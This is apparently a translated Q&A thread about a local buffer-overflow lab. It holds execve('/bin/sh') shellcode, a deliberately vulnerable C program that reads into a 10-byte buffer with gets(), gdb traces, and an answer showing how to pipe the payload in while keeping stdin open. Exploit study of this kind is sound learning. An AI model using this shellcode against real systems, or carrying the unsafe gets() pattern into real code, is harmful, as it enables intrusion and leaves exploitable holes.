0

シェルコードでバッファをオーバーフローさせようとしていますが、gets() に問題があります。strcpy() 関数を使用してシェルコードでバッファをオーバーフローさせても問題ありません。/bin/bash が生成されます。しかし、gets() 関数で同じことをすると、何も表示されません。gets() を使用して ret2text 攻撃を試みたところ、正常に動作しましたが、悪意のあるコード (シェル) でオーバーフローを試みても動作しません。スタックプロテクターをオフにし (-fno-stack-protector)、ASLR を無効にし (echo 0 > randomize_va_space)、スタック実行を有効にしました (-z execstack)

ここにシェルコードがあります

xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68

ここに脆弱なプログラムがあります

#include <stdio.h>
#include <string.h>

int ask_user(void)
{
    int ret;
    char name[10];
    printf("Your Name: ");
    fflush(stdout);
    gets(name);
    ret = strcmp(name, "Peter");
    if (ret == 0)
    return 1;
    return 0;
}

int main(int argc, char *argv[])
{
    int is_peter;
    printf("This Application finds the Peter!\n");
    is_peter = ask_user();
    if (is_peter == 1)
    {
        printf("Lol, you are a real Peter!\n");
        return 0;
    }
    printf("Ups, no Peter :-/\n");
    return 0;
}

いくつかのgdb

gdb$ si
--------------------------------------------------------------------------[regs]
  EAX: 0x0000000B  EBX: 0xBFFFEF22  ECX: 0x00000000  EDX: 0x00000000  o d I t s Z a P c 
  ESI: 0x00000000  EDI: 0x00000000  EBP: 0x41414141  ESP: 0xBFFFEF10  EIP: 0xBFFFEF1B
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
--------------------------------------------------------------------------[code]
=> 0xbfffef1b:  int    0x80
   0xbfffef1d:  call   0xbfffef12
   0xbfffef22:  das    
   0xbfffef23:  bound  ebp,QWORD PTR [ecx+0x6e]
   0xbfffef26:  das    
   0xbfffef27:  jae    0xbfffef91
   0xbfffef29:  add    BYTE PTR [eax+ecx*1],al
   0xbfffef2c:  add    BYTE PTR [eax],al
--------------------------------------------------------------------------------
0xbfffef1b in ?? ()
gdb$ x/1sb $ebx
0xbfffef22:     "/bin/sh"
gdb$ x/1sb $esp
0xbfffef10:     "ë\v[1À1É1Ò°\vÍ\200èð\377\377\377/bin/sh"
gdb$ si
process 3697 is executing new program: /bin/bash
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
warning: Could not load shared library symbols for linux-gate.so.1.
Do you need "set solib-search-path" or "set sysroot"?
[Inferior 1 (process 3697) exited normally]
--------------------------------------------------------------------------[regs]
  EAX:Error while running hook_stop:
No registers.

デバッガーでわかるように、シェルは現時点で開始および終了しています。strcpy を使用すると、シェルが起動し、終了しません

4

1 に答える 1

0

strcpy と gets には動作の違いがあります。

標準入力を開くには、次のようなものを使用してみてください: (cat /tmp/yourbuffer;cat) | ./脆弱性

于 2013-06-27T08:10:35.907 に答える